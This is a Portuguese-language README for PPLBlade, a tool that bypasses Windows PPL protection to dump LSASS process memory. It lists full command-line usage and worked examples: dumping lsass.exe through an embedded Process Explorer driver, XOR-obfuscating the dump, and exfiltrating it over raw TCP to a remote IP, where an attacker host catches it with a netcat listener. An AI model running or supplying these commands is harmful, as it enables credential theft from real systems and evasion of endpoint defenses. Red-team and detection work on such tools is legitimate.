
Contorna a proteção PPL para despejar a memória do processo LSASS, ofusca os arquivos de despejo com XOR e os exfiltra remotamente via RAW ou SMB sem gravar em disco.
Ferramenta de despejo de processo protegido que suporta ofuscação de dump de memória e transferência para workstations remotas sem salvá-lo no disco.
Funcionalidades principais:
Visão geral das técnicas usadas nesta ferramenta pode ser encontrada aqui: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Observe que PROCEXP15.SYS está listado nos arquivos fonte para fins de compilação. Não precisa ser transferido para a máquina alvo junto com o PPLBlade.exe.
Ele já está embutido no PPLBlade.exe. O exploit é apenas um único executável.
Modos:
Modos de Handle:
Usage of PPLBlade.exe:
-driver string
Path where the driver file will be dropped (default: current directory)
-dumpmode string
Dump mode [local|network] (default "local")
-dumpname string
Name of the dump file (default "PPLBlade.dmp")
-handle string
Method to obtain target process handle [direct|procexp] (default "direct")
-help
Prints this help message
-ip string
IP of the remote server
-key string
XOR Key for obfuscation (default "PPLBlade")
-mode string
Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
-name string
Process name of target process
-network string
Method for network transfer[raw|smb] (default "raw")
-obfuscate
Obfuscate dump file
-pass string
SMB password
-pid int
PID of target process (prioritized over process name)
-port int
PORT on the remote server
-quiet
Quiet mode
-service string
Name of the service (default "PPLBlade")
-share string
share name
-user string
SMB username
Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup
Exemplos:
POC básico que usa PROCEXP152.sys para despejar lsass:
PPLBlade.exe --mode dothatlsassthing
(Observe que ele não faz XOR do arquivo de dump, forneça uma flag obfuscate adicional para habilitar a funcionalidade XOR)
Faça upload do dump LSASS ofuscado para um local remoto:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Host atacante:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Desofuscar dump de memória:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade